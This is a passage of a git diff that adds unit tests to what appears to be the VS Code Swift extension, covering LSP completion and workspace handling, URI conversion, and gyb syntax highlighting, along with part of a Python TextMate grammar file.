Hints", + command: "editor.action.triggerParameterHints", + }, + }, + { + label: "[endpoint: String]", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.Method, + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + }, + { + label: "(endpoint: String, method: String)", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.Constructor, + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + }, + ]); + }); + + test("does not add parameter hints command when disabled", async () => { + mockParameterHintsEnabled.setValue(() => false); + + const completionItems = [ + { + label: "makeRequest(for: NetworkRequest)", + detail: "String", + kind: vscode.CompletionItemKind.Function, + }, + { + label: "[endpoint: String]", + detail: "NetworkRequest", + kind: vscode.CompletionItemKind.Method, + }, + ]; + + const completionItemsFromLSP = async (): Promise => { + return completionItems; + }; + + const result = await middleware.provideCompletionItem!( + instance(document), + new vscode.Position(0, 0), + {} as any, + {} as any, + completionItemsFromLSP + ); + + expect(result).to.deep.equal(completionItems); + }); + + test("handles CompletionList result format", async () => { + const completionListFromLSP = async (): Promise => { + return { + isIncomplete: false, + items: [ + { + label: "defaultHeaders", + detail: "[String : String]", + kind: vscode.CompletionItemKind.Property, + }, + { + label: "makeRequest(for: NetworkRequest)", + detail: "String", + kind: vscode.CompletionItemKind.Function, + }, + ], + }; + }; + + const result = await middleware.provideCompletionItem!( + instance(document), + new vscode.Position(0, 0), + {} as any, + {} as any, + completionListFromLSP + ); + + expect(result).to.deep.equal({ + isIncomplete: false, + items: [ + { + label: "defaultHeaders", + detail: "[String : String]", + kind: vscode.CompletionItemKind.Property, + }, + { + label: "makeRequest(for: NetworkRequest)", + detail: "String", + kind: vscode.CompletionItemKind.Function, + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + }, + ], + }); + }); + + test("handles null/undefined result from next middleware", async () => { + mockParameterHintsEnabled.setValue(() => true); + + const nullCompletionResult = async (): Promise => { + return null; + }; + + const result = await middleware.provideCompletionItem!( + instance(document), + new vscode.Position(0, 0), + {} as any, + {} as any, + nullCompletionResult + ); + + expect(result).to.be.null; + }); + }); + + suite("active document changes", () => { + const mockWindow = mockGlobalObject(vscode, "window"); + + setup(() => { + mockedWorkspace.globalToolchainSwiftVersion = new Version(6, 1, 0); + }); + + test("Notifies when the active document changes", async () => { + const document: vscode.TextDocument = instance( + mockObject({ + uri: vscode.Uri.file("/folder1/file.swift"), + }) + ); + + let _listener: ((e: vscode.TextEditor | undefined) => any) | undefined; + mockWindow.onDidChangeActiveTextEditor.callsFake((listener, _2, _1) => { + _listener = listener; + return { dispose: () => {} }; + }); + + new LanguageClientManager(instance(mockedFolder), {}, languageClientFactoryMock); + await waitForReturnedPromises(languageClientMock.start); + + const activeDocumentManager = new LSPActiveDocumentManager(); + activeDocumentManager.activateDidChangeActiveDocument(instance(languageClientMock)); + await activeDocumentManager.didOpen(document, async () => {}); + + if (_listener) { + _listener(instance(mockObject({ document }))); + } + + expect(languageClientMock.sendNotification).to.have.been.calledOnceWith( + DidChangeActiveDocumentNotification.method, + { + textDocument: { + uri: path.normalize("/folder1/file.swift"), + }, + } as DidChangeActiveDocumentParams + ); + }); + + test("Notifies on startup with the active document", async () => { + const document: vscode.TextDocument = instance( + mockObject({ + uri: vscode.Uri.file("/folder1/file.swift"), + }) + ); + mockWindow.activeTextEditor = instance( + mockObject({ + document, + }) + ); + new LanguageClientManager(instance(mockedFolder), {}, languageClientFactoryMock); + await waitForReturnedPromises(languageClientMock.start); + + const activeDocumentManager = new LSPActiveDocumentManager(); + await activeDocumentManager.didOpen(document, async () => {}); + + activeDocumentManager.activateDidChangeActiveDocument(instance(languageClientMock)); + + expect(languageClientMock.sendNotification).to.have.been.calledOnceWith( + DidChangeActiveDocumentNotification.method, + { + textDocument: { + uri: path.normalize("/folder1/file.swift"), + }, + } as DidChangeActiveDocumentParams + ); + }); + }); + + suite("SourceKit-LSP version doesn't support workspace folders", () => { + let folder1: MockedObject; + let folder2: MockedObject; + + setup(() => { + mockedToolchain.swiftVersion = new Version(5, 6, 0); + mockedWorkspace.globalToolchainSwiftVersion = new Version(5, 6, 0); + const workspaceFolder = { + uri: vscode.Uri.file("/folder1"), + name: "folder1", + index: 0, + }; + const folderContext = mockObject({ + workspaceContext: instance(mockedWorkspace), + workspaceFolder, + toolchain: instance(mockedToolchain), + }); + mockedFolder.swiftVersion = mockedToolchain.swiftVersion; + mockedWorkspace = mockObject({ + ...mockedWorkspace, + globalToolchain: instance(mockedToolchain), + currentFolder: instance(folderContext), + get globalToolchainSwiftVersion() { + return mockedToolchain.swiftVersion; + }, + folders: [instance(mockedFolder)], + }); + folder1 = mockObject({ + isRootFolder: false, + folder: vscode.Uri.file("/folder1"), + workspaceFolder, + workspaceContext: instance(mockedWorkspace), + toolchain: instance(mockedToolchain), + swiftVersion: mockedToolchain.swiftVersion, + }); + folder2 = mockObject({ + isRootFolder: false, + folder: vscode.Uri.file("/folder2"), + workspaceFolder: { + uri: vscode.Uri.file("/folder2"), + name: "folder2", + index: 1, + }, + workspaceContext: instance(mockedWorkspace), + toolchain: instance(mockedToolchain), + swiftVersion: mockedToolchain.swiftVersion, + }); + }); + + test("doesn't launch SourceKit-LSP on startup", async () => { + const sut = new LanguageClientManager( + instance(mockedFolder), + {}, + languageClientFactoryMock + ); + await waitForReturnedPromises(languageClientMock.start); + + expect(sut.state).to.equal(State.Stopped); + expect(languageClientFactoryMock.createLanguageClient).to.not.have.been.called; + expect(languageClientMock.start).to.not.have.been.called; + }); + + test("launches SourceKit-LSP when a Swift file is opened", async () => { + mockedVSCodeWindow.activeTextEditor = instance( + mockObject({ + document: instance( + mockObject({ + uri: vscode.Uri.file("/folder1/file.swift"), + }) + ), + }) + ); + const factory = new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + const sut = factory.get(instance(mockedFolder)); + await waitForReturnedPromises(languageClientMock.start); + + // Add the folder to the workspace + await didChangeFoldersEmitter.fire({ + operation: FolderOperation.add, + folder: instance(folder1), + workspace: instance(mockedWorkspace), + }); + + expect(sut.state).to.equal( + State.Running, + "Expected LSP client to be running but it wasn't" + ); + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledWith( + /* id */ match.string, + /* name */ match.string, + /* serverOptions */ match.object, + /* clientOptions */ match.hasNested("workspaceFolder.uri.path", "/folder1") + ); + expect(languageClientMock.start).to.have.been.called; + }); + + test("changes SourceKit-LSP's workspaceFolder when a new folder is focussed", async () => { + const mockedTextDocument = mockObject({ + uri: vscode.Uri.file("/folder1/file.swift"), + }); + mockedVSCodeWindow.activeTextEditor = instance( + mockObject({ + document: instance(mockedTextDocument), + }) + ); + const factory = new LanguageClientToolchainCoordinator( + instance(mockedWorkspace), + {}, + languageClientFactoryMock + ); + + const sut = factory.get(instance(mockedFolder)); + await waitForReturnedPromises(languageClientMock.start); + + // Trigger a focus event for the second folder + mockedTextDocument.uri = vscode.Uri.file("/folder2/file.swift"); + await didChangeFoldersEmitter.fire({ + operation: FolderOperation.focus, + folder: instance(folder2), + workspace: instance(mockedWorkspace), + }); + + expect(sut.state).to.equal( + State.Running, + "Expected LSP client to be running but it wasn't" + ); + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledTwice; + expect(languageClientFactoryMock.createLanguageClient).to.have.been.calledWith( + /* id */ match.string, + /* name */ match.string, + /* serverOptions */ match.object, + /* clientOptions */ match.hasNested("workspaceFolder.uri.path", "/folder2") + ); + expect(languageClientMock.start).to.have.been.calledTwice; + expect(languageClientMock.start).to.have.been.calledAfter(languageClientMock.stop); + }); + }); +}); diff --git a/test/unit-tests/sourcekit-lsp/uriConverters.test.ts b/test/unit-tests/sourcekit-lsp/uriConverters.test.ts new file mode 100644 index 000000000..09f5b0387 --- /dev/null +++ b/test/unit-tests/sourcekit-lsp/uriConverters.test.ts @@ -0,0 +1,111 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { uriConverters } from "@src/sourcekit-lsp/uriConverters"; + +/// Check that decoding the given URI string and re-encoding it results in the original string and that the decoded Uri +/// does not cause any assertion failures in `verifyUri`. +function checkUri(input: string, verifyUri: (uri: vscode.Uri) => void) { + const uri = uriConverters.protocol2Code(input); + verifyUri(uri); + expect(uriConverters.code2Protocol(uri)).to.equal(input); +} + +suite("uriConverters Suite", () => { + suite("Default Coding", () => { + test("Space in host", () => { + checkUri("file://host%20with%20space/", uri => { + expect(uri.authority).to.equal("host with space"); + }); + }); + + test("Space in path", () => { + checkUri("file://host/with%20space", uri => { + expect(uri.path).to.equal("/with space"); + }); + }); + + test("Query does not round-trip", () => { + // If this test starts passing, the underlying VS Code issue that requires us to have custom URI coding + // has been fixed and we should be able to remove our custom uri converter. + const uri = uriConverters.protocol2Code("scheme://host?outer=inner%3Dvalue"); + expect(uri.toString(/*skipEncoding*/ false)).to.equal( + "scheme://host?outer%3Dinner%3Dvalue" + ); + expect(uri.toString(/*skipEncoding*/ true)).to.equal("scheme://host?outer=inner=value"); + }); + }); + + suite("Custom Coding", () => { + test("Basic", () => { + checkUri("sourcekit-lsp://host?outer=inner%3Dvalue", uri => { + expect(uri.query).to.equal("outer=inner%3Dvalue"); + }); + }); + + test("Percent-encoded hash in query", () => { + checkUri("sourcekit-lsp://host?outer=with%23hash", uri => { + expect(uri.query).to.equal("outer=with%23hash"); + }); + }); + + test("Query and fragment", () => { + checkUri("sourcekit-lsp://host?outer=with%23hash#fragment", uri => { + expect(uri.query).to.equal("outer=with%23hash"); + expect(uri.fragment).to.equal("fragment"); + }); + }); + + test("Percent encoding in host", () => { + // Technically, it would be nice to percent-decode the authority and path here but then we get into + // ambiguities around username in the authority (see the `Encoded '@' in host` test). + // For now, rely on SourceKit-LSP not using any characters that need percent-encoding here. + checkUri("sourcekit-lsp://host%20with%20space", uri => { + expect(uri.authority).to.equal("host%20with%20space"); + }); + }); + + test("Encoded '@' in host", () => { + checkUri("sourcekit-lsp://user%40with-at@host%40with-at", uri => { + expect(uri.authority).to.equal("user%40with-at@host%40with-at"); + }); + }); + + test("Percent encoding in path", () => { + checkUri("sourcekit-lsp://host/with%20space", uri => { + expect(uri.path).to.equal("/with%20space"); + }); + }); + + test("No query", () => { + checkUri("sourcekit-lsp://host/with/path", uri => { + expect(uri.query).to.equal(""); + }); + }); + + test("With username", () => { + checkUri("sourcekit-lsp://user@host", uri => { + expect(uri.authority).to.equal("user@host"); + }); + }); + + test("With username and password", () => { + checkUri("sourcekit-lsp://user:pass@host", uri => { + expect(uri.authority).to.equal("user:pass@host"); + }); + }); + }); +}); diff --git a/test/unit-tests/syntaxes/Character.test.swift.gyb b/test/unit-tests/syntaxes/Character.test.swift.gyb new file mode 100644 index 000000000..222fef2ff --- /dev/null +++ b/test/unit-tests/syntaxes/Character.test.swift.gyb @@ -0,0 +1,111 @@ +// SYNTAX TEST "source.swift.gyb" "Character struct" + +%{ +// <- keyword.control.gyb +// <~- punctuation.section.block.begin.gyb + abilities = ['strength', 'perception', 'endurance', 'charisma', 'intelligence', 'agility', 'luck'] +// ^ keyword.operator.assignment.python +// ^ punctuation.definition.list.begin.python +// ^ punctuation.definition.string.begin.python +// ^^^^^^^^ string.quoted.single.python +// ^ punctuation.definition.string.end.python +// ^ punctuation.separator.element.python +}% +// <- punctuation.section.block.end.gyb +// <~- keyword.control.gyb + +enum Hello {} + +% for ability in abilities: +// <- keyword.control.flow.gyb +// <~~--- keyword.control.flow.python +// ^^ keyword.control.flow.python +// ^ punctuation.separator.colon.gyb +print("${ability}") +// <----- support.function.swift +// ^ punctuation.definition.arguments.begin.swift +// ^ punctuation.definition.string.begin.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb +// ^ punctuation.definition.string.end.swift +// ^ punctuation.definition.arguments.end.swift +% end +// <----- meta.embedded.control.end.gyb keyword.control.flow.gyb + +struct Character { +// <------ storage.type.struct.swift +// ^^^^^^^^^ entity.name.type.struct.swift +// ^ punctuation.definition.type.begin.swift + let name: String +// ^^^ keyword.other.declaration-specifier.swift +// ^^^^ meta.definition.type.body.swift +// ^^^^^^ support.type.swift + + % for ability in abilities: +// ^ keyword.control.flow.gyb +// ^^^ keyword.control.flow.python +// ^^ keyword.control.flow.python +// ^ punctuation.separator.colon.gyb + let ${ability}: Int +// ^^^ keyword.other.declaration-specifier.swift +// ^ variable.other.gyb +// ^^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb + % end +// ^^^^^ meta.embedded.control.end.gyb keyword.control.flow.gyb + + %{ +// ^ keyword.control.gyb +// ^ punctuation.section.block.begin.gyb + for i in range(10): +// ^^^^^ support.function.builtin.python + print(i) + }% +// ^ punctuation.section.block.end.gyb +// ^ keyword.control.gyb + + enum Error { + case notFound + + % for ability in abilities: + case ${ability} + % end + } +} +// <- punctuation.definition.type.end.swift + +enum World {} + +% for ability in abilities: +// <- keyword.control.flow.gyb +// <~~--- keyword.control.flow.python +// ^^ keyword.control.flow.python +// ^ punctuation.separator.colon.gyb +print("${ability}") +// <----- support.function.swift +// ^ punctuation.definition.arguments.begin.swift +// ^ punctuation.definition.string.begin.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb +// ^ punctuation.definition.string.end.swift +// ^ punctuation.definition.arguments.end.swift +% end +// <----- meta.embedded.control.end.gyb keyword.control.flow.gyb + +struct SimpleCharacter { +// <------ storage.type.struct.swift +// ^^^^^^^^^^^^^^^ entity.name.type.struct.swift +// ^ punctuation.definition.type.begin.swift + let name: String +// ^^^ keyword.other.declaration-specifier.swift +// ^^^^ meta.definition.type.body.swift +// ^^^^^^ support.type.swift + + % for ability in abilities: + let ${ability}: Int + % end +} +// <- punctuation.definition.type.end.swift + diff --git a/test/unit-tests/syntaxes/MLDSA.test.swift.gyb b/test/unit-tests/syntaxes/MLDSA.test.swift.gyb new file mode 100644 index 000000000..71dfb09de --- /dev/null +++ b/test/unit-tests/syntaxes/MLDSA.test.swift.gyb @@ -0,0 +1,395 @@ +// SYNTAX TEST "source.swift.gyb" "MLDSA _CryptoExtras implementation" + +//===----------------------------------------------------------------------===// +// +// This source file is part of the SwiftCrypto open source project +// +// Copyright (c) 2024 Apple Inc. and the SwiftCrypto project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of SwiftCrypto project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +// MARK: - Generated file, do NOT edit +// any edits of this file WILL be overwritten and thus discarded +// see section `gyb` in `README` for details. + +@_implementationOnly import CCryptoBoringSSL +import Crypto +import Foundation +%{ +// <- keyword.control.gyb +// <~- punctuation.section.block.begin.gyb + parameter_sets = ["65", "87"] +// ^ keyword.operator.assignment.python +// ^ punctuation.definition.list.begin.python +// ^ punctuation.definition.string.begin.python +// ^^ string.quoted.single.python +// ^ punctuation.definition.string.end.python +// ^ punctuation.separator.element.python +}% +// <- punctuation.section.block.end.gyb +// <~- keyword.control.gyb +% for parameter_set in parameter_sets: +// <- keyword.control.flow.gyb +// <~~--- keyword.control.flow.python +// ^^ keyword.control.flow.python +// ^ punctuation.separator.colon.gyb + +/// A module-lattice-based digital signature algorithm that provides security against quantum computing attacks. +@available(macOS 10.15, iOS 13, watchOS 6, tvOS 13, macCatalyst 13, visionOS 1.0, *) +public enum MLDSA${parameter_set} {} +// <----- keyword.other.declaration-specifier.accessibility.swift +// ^^^^ storage.type.enum.swift +// ^^^^^ entity.name.type.enum.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb + +@available(macOS 10.15, iOS 13, watchOS 6, tvOS 13, macCatalyst 13, visionOS 1.0, *) +extension MLDSA${parameter_set} { +// <--------- storage.type.extension.swift +// ^^^^^ entity.name.type.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb + /// A ML-DSA-${parameter_set} private key. +// ^^^^^^^^^ comment.line.triple-slash.documentation.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb + public struct PrivateKey: Sendable { + private var backing: Backing + + /// Initialize a ML-DSA-${parameter_set} private key from a random seed. +// ^^^^^^^^^^^^^^^^^^^^ comment.line.triple-slash.documentation.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb + public init() throws { + self.backing = try Backing() + } + + /// Initialize a ML-DSA-${parameter_set} private key from a seed. + /// + /// - Parameter seedRepresentation: The seed to use to generate the private key. + /// + /// - Throws: `CryptoKitError.incorrectKeySize` if the seed is not 32 bytes long. + public init(seedRepresentation: some DataProtocol) throws { + self.backing = try Backing(seedRepresentation: seedRepresentation) + } + + /// The seed from which this private key was generated. + public var seedRepresentation: Data { + self.backing.seed + } + + /// The public key associated with this private key. + public var publicKey: PublicKey { + self.backing.publicKey + } + + /// Generate a signature for the given data. + /// + /// - Parameter data: The message to sign. + /// + /// - Returns: The signature of the message. + public func signature(for data: D) throws -> Data { + let context: Data? = nil + return try self.backing.signature(for: data, context: context) + } + + /// Generate a signature for the given data. + /// + /// - Parameters: + /// - data: The message to sign. + /// - context: The context to use for the signature. + /// + /// - Returns: The signature of the message. + public func signature(for data: D, context: C) throws -> Data { + try self.backing.signature(for: data, context: context) + } + + /// The size of the private key in bytes. + static let byteCount = Backing.byteCount + + fileprivate final class Backing { + fileprivate var key: MLDSA${parameter_set}_private_key +// ^^^^^^^^^^^ keyword.other.declaration-specifier.accessibility.swift +// ^^^ keyword.other.declaration-specifier.swift +// ^^^ meta.definition.type.body.swift +// ^^^^^ meta.definition.type.body.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb +// ^^^^^^^^^^^^ meta.definition.type.body.swift + var seed: Data + + /// Initialize a ML-DSA-${parameter_set} private key from a random seed. + init() throws { + // We have to initialize all members before `self` is captured by the closure + self.key = .init() + self.seed = Data() + + self.seed = try withUnsafeTemporaryAllocation( + of: UInt8.self, + capacity: MLDSA.seedByteCount + ) { seedPtr in + try withUnsafeTemporaryAllocation( + of: UInt8.self, + capacity: MLDSA${parameter_set}.PublicKey.Backing.byteCount +// ^^^^^^^^ meta.definition.type.body.swift +// ^ punctuation.separator.argument-label.swift +// ^^^^^ meta.definition.type.body.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb +// ^ meta.function-call.swift +// ^^^^^^^^^ meta.definition.type.body.swift + ) { publicKeyPtr in + guard + CCryptoBoringSSL_MLDSA${parameter_set}_generate_key( +// ^^^^^^^^^^^^^^^^^^^^^^ meta.definition.function.body.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb +// ^^^^^^^^^^^^^ meta.definition.function.body.swift +// ^ punctuation.definition.arguments.begin.swift + publicKeyPtr.baseAddress, + seedPtr.baseAddress, + &self.key + ) == 1 + else { + throw CryptoKitError.internalBoringSSLError() + } + + return Data(bytes: seedPtr.baseAddress!, count: MLDSA.seedByteCount) + } + } + } + + /// Initialize a ML-DSA-${parameter_set} private key from a seed. + /// + /// - Parameter seedRepresentation: The seed to use to generate the private key. + /// + /// - Throws: `CryptoKitError.incorrectKeySize` if the seed is not 32 bytes long. + init(seedRepresentation: some DataProtocol) throws { + guard seedRepresentation.count == MLDSA.seedByteCount else { + throw CryptoKitError.incorrectKeySize + } + + self.key = .init() + self.seed = Data(seedRepresentation) + + guard + self.seed.withUnsafeBytes({ seedPtr in + CCryptoBoringSSL_MLDSA${parameter_set}_private_key_from_seed( + &self.key, + seedPtr.baseAddress, + MLDSA.seedByteCount + ) + }) == 1 + else { + throw CryptoKitError.internalBoringSSLError() + } + } + + /// The public key associated with this private key. + var publicKey: PublicKey { + PublicKey(privateKeyBacking: self) + } + + /// Generate a signature for the given data. + /// + /// - Parameters: + /// - data: The message to sign. + /// - context: The context to use for the signature. + /// + /// - Returns: The signature of the message. + func signature(for data: D, context: C?) throws -> Data { + var signature = Data(repeating: 0, count: MLDSA${parameter_set}.signatureByteCount) + + let rc: CInt = signature.withUnsafeMutableBytes { signaturePtr in + let bytes: ContiguousBytes = data.regions.count == 1 ? data.regions.first! : Array(data) + return bytes.withUnsafeBytes { dataPtr in + context.withUnsafeBytes { contextPtr in + CCryptoBoringSSL_MLDSA${parameter_set}_sign( + signaturePtr.baseAddress, + &self.key, + dataPtr.baseAddress, + dataPtr.count, + contextPtr.baseAddress, + contextPtr.count + ) + } + } + } + + guard rc == 1 else { + throw CryptoKitError.internalBoringSSLError() + } + + return signature + } + + /// The size of the private key in bytes. + static let byteCount = Int(MLDSA${parameter_set}_PRIVATE_KEY_BYTES) + } + } +} + +@available(macOS 10.15, iOS 13, watchOS 6, tvOS 13, macCatalyst 13, visionOS 1.0, *) +extension MLDSA${parameter_set} { + /// A ML-DSA-${parameter_set} public key. + public struct PublicKey: Sendable { + private var backing: Backing + + fileprivate init(privateKeyBacking: PrivateKey.Backing) { + self.backing = Backing(privateKeyBacking: privateKeyBacking) + } + + /// Initialize a ML-DSA-${parameter_set} public key from a raw representation. + /// + /// - Parameter rawRepresentation: The public key bytes. + /// + /// - Throws: `CryptoKitError.incorrectKeySize` if the raw representation is not the correct size. + public init(rawRepresentation: some DataProtocol) throws { + self.backing = try Backing(rawRepresentation: rawRepresentation) + } + + /// The raw binary representation of the public key. + public var rawRepresentation: Data { + self.backing.rawRepresentation + } + + /// Verify a signature for the given data. + /// + /// - Parameters: + /// - signature: The signature to verify. + /// - data: The message to verify the signature against. + /// + /// - Returns: `true` if the signature is valid, `false` otherwise. + public func isValidSignature(_ signature: S, for data: D) -> Bool { + let context: Data? = nil + return self.backing.isValidSignature(signature, for: data, context: context) + } + + /// Verify a signature for the given data. + /// + /// - Parameters: + /// - signature: The signature to verify. + /// - data: The message to verify the signature against. + /// - context: The context to use for the signature verification. + /// + /// - Returns: `true` if the signature is valid, `false` otherwise. + public func isValidSignature( + _ signature: S, + for data: D, + context: C + ) -> Bool { + self.backing.isValidSignature(signature, for: data, context: context) + } + + /// The size of the public key in bytes. + static let byteCount = Backing.byteCount + + fileprivate final class Backing { + private var key: MLDSA${parameter_set}_public_key + + init(privateKeyBacking: PrivateKey.Backing) { + self.key = .init() + CCryptoBoringSSL_MLDSA${parameter_set}_public_from_private(&self.key, &privateKeyBacking.key) + } + + /// Initialize a ML-DSA-${parameter_set} public key from a raw representation. + /// + /// - Parameter rawRepresentation: The public key bytes. + /// + /// - Throws: `CryptoKitError.incorrectKeySize` if the raw representation is not the correct size. + init(rawRepresentation: some DataProtocol) throws { + guard rawRepresentation.count == MLDSA${parameter_set}.PublicKey.Backing.byteCount else { + throw CryptoKitError.incorrectKeySize + } + + self.key = .init() + + let bytes: ContiguousBytes = + rawRepresentation.regions.count == 1 + ? rawRepresentation.regions.first! + : Array(rawRepresentation) + try bytes.withUnsafeBytes { rawBuffer in + try rawBuffer.withMemoryRebound(to: UInt8.self) { buffer in + var cbs = CBS(data: buffer.baseAddress, len: buffer.count) + guard CCryptoBoringSSL_MLDSA${parameter_set}_parse_public_key(&self.key, &cbs) == 1 else { + throw CryptoKitError.internalBoringSSLError() + } + } + } + } + + /// The raw binary representation of the public key. + var rawRepresentation: Data { + var cbb = CBB() + // The following BoringSSL functions can only fail on allocation failure, which we define as impossible. + CCryptoBoringSSL_CBB_init(&cbb, MLDSA${parameter_set}.PublicKey.Backing.byteCount) + defer { CCryptoBoringSSL_CBB_cleanup(&cbb) } + CCryptoBoringSSL_MLDSA${parameter_set}_marshal_public_key(&cbb, &self.key) + return Data(bytes: CCryptoBoringSSL_CBB_data(&cbb), count: CCryptoBoringSSL_CBB_len(&cbb)) + } + + /// Verify a signature for the given data. + /// + /// - Parameters: + /// - signature: The signature to verify. + /// - data: The message to verify the signature against. + /// - context: The context to use for the signature verification. + /// + /// - Returns: `true` if the signature is valid, `false` otherwise. + func isValidSignature( + _ signature: S, + for data: D, + context: C? + ) -> Bool { + let signatureBytes: ContiguousBytes = + signature.regions.count == 1 ? signature.regions.first! : Array(signature) + return signatureBytes.withUnsafeBytes { signaturePtr in + let dataBytes: ContiguousBytes = data.regions.count == 1 ? data.regions.first! : Array(data) + let rc: CInt = dataBytes.withUnsafeBytes { dataPtr in + context.withUnsafeBytes { contextPtr in + CCryptoBoringSSL_MLDSA${parameter_set}_verify( + &self.key, + signaturePtr.baseAddress, + signaturePtr.count, + dataPtr.baseAddress, + dataPtr.count, + contextPtr.baseAddress, + contextPtr.count + ) + } + } + return rc == 1 + } + } + + /// The size of the public key in bytes. + static let byteCount = Int(MLDSA${parameter_set}_PUBLIC_KEY_BYTES) + } + } +} + +@available(macOS 10.15, iOS 13, watchOS 6, tvOS 13, macCatalyst 13, visionOS 1.0, *) +extension MLDSA${parameter_set} { + /// The size of the signature in bytes. + private static let signatureByteCount = Int(MLDSA${parameter_set}_SIGNATURE_BYTES) +} +% end +// <----- meta.embedded.control.end.gyb keyword.control.flow.gyb + +private enum MLDSA { + /// The size of the seed in bytes. + fileprivate static let seedByteCount = 32 +} diff --git a/test/unit-tests/syntaxes/MagicPython.tmLanguage.json b/test/unit-tests/syntaxes/MagicPython.tmLanguage.json new file mode 100644 index 000000000..475e7569d --- /dev/null +++ b/test/unit-tests/syntaxes/MagicPython.tmLanguage.json @@ -0,0 +1,4213 @@ +{ + "information_for_contributors": [ + "This file has been converted from https://github.com/MagicStack/MagicPython/blob/master/grammars/MagicPython.tmLanguage", + "If you want to provide a fix or improvement, please create a pull request against the original repository.", + "Once accepted there, we are happy to receive an update request." + ], + "version": "https://github.com/MagicStack/MagicPython/commit/7d0f2b22a5ad8fccbd7341bc7b7a715169283044", + "name": "MagicPython", + "scopeName": "source.python", + "patterns": [ + { + "include": "#statement" + }, + { + "include": "#expression" + } + ], + "repository": { + "impossible": { + "comment": "This is a special rule that should be used where no match is desired. It is not a good idea to match something like '1{0}' because in some cases that can result in infinite loops in token generation. So the rule instead matches and impossible expression to allow a match to fail and move to the next token.", + "match": "$.^" + }, + "statement": { + "patterns": [ + { + "include": "#import" + }, + { + "include": "#class-declaration" + }, + { + "include": "#function-declaration" + }, + { + "include": "#generator" + }, + { + "include": "#statement-keyword" + }, + { + "include": "#assignment-operator" + }, + { + "include": "#decorator" + }, + { + "include": "#docstring-statement" + }, + { + "include": "#semicolon" + } + ] + }, + "semicolon": { + "patterns": [ + { + "name": "invalid.deprecated.semicolon.python", + "match": "\\;$" + } + ] + }, + "comments": { + "patterns": [ + { + "name": "comment.line.number-sign.python", + "contentName": "meta.typehint.comment.python", + "begin": "(?x)\n (?:\n \\# \\s* (type:)\n \\s*+ (?# we want `\\s*+` which is possessive quantifier since\n we do not actually want to backtrack when matching\n whitespace here)\n (?! $ | \\#)\n )\n", + "end": "(?:$|(?=\\#))", + "beginCaptures": { + "0": { + "name": "meta.typehint.comment.python" + }, + "1": { + "name": "comment.typehint.directive.notation.python" + } + }, + "patterns": [ + { + "name": "comment.typehint.ignore.notation.python", + "match": "(?x)\n \\G ignore\n (?= \\s* (?: $ | \\#))\n" + }, + { + "name": "comment.typehint.type.notation.python", + "match": "(?x)\n (?))" + }, + { + "name": "comment.typehint.variable.notation.python", + "match": "([[:alpha:]_]\\w*)" + } + ] + }, + { + "include": "#comments-base" + } + ] + }, + "docstring-statement": { + "begin": "^(?=\\s*[rR]?(\\'\\'\\'|\\\"\\\"\\\"|\\'|\\\"))", + "comment": "the string either terminates correctly or by the beginning of a new line (this is for single line docstrings that aren't terminated) AND it's not followed by another docstring", + "end": "((?<=\\1)|^)(?!\\s*[rR]?(\\'\\'\\'|\\\"\\\"\\\"|\\'|\\\"))", + "patterns": [ + { + "include": "#docstring" + } + ] + }, + "docstring": { + "patterns": [ + { + "name": "string.quoted.docstring.multi.python", + "begin": "(\\'\\'\\'|\\\"\\\"\\\")", + "end": "(\\1)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.string.begin.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python" + } + }, + "patterns": [ + { + "include": "#docstring-prompt" + }, + { + "include": "#codetags" + }, + { + "include": "#docstring-guts-unicode" + } + ] + }, + { + "name": "string.quoted.docstring.raw.multi.python", + "begin": "([rR])(\\'\\'\\'|\\\"\\\"\\\")", + "end": "(\\2)", + "beginCaptures": { + "1": { + "name": "storage.type.string.python" + }, + "2": { + "name": "punctuation.definition.string.begin.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python" + } + }, + "patterns": [ + { + "include": "#string-consume-escape" + }, + { + "include": "#docstring-prompt" + }, + { + "include": "#codetags" + } + ] + }, + { + "name": "string.quoted.docstring.single.python", + "begin": "(\\'|\\\")", + "end": "(\\1)|(\\n)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.string.begin.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#codetags" + }, + { + "include": "#docstring-guts-unicode" + } + ] + }, + { + "name": "string.quoted.docstring.raw.single.python", + "begin": "([rR])(\\'|\\\")", + "end": "(\\2)|(\\n)", + 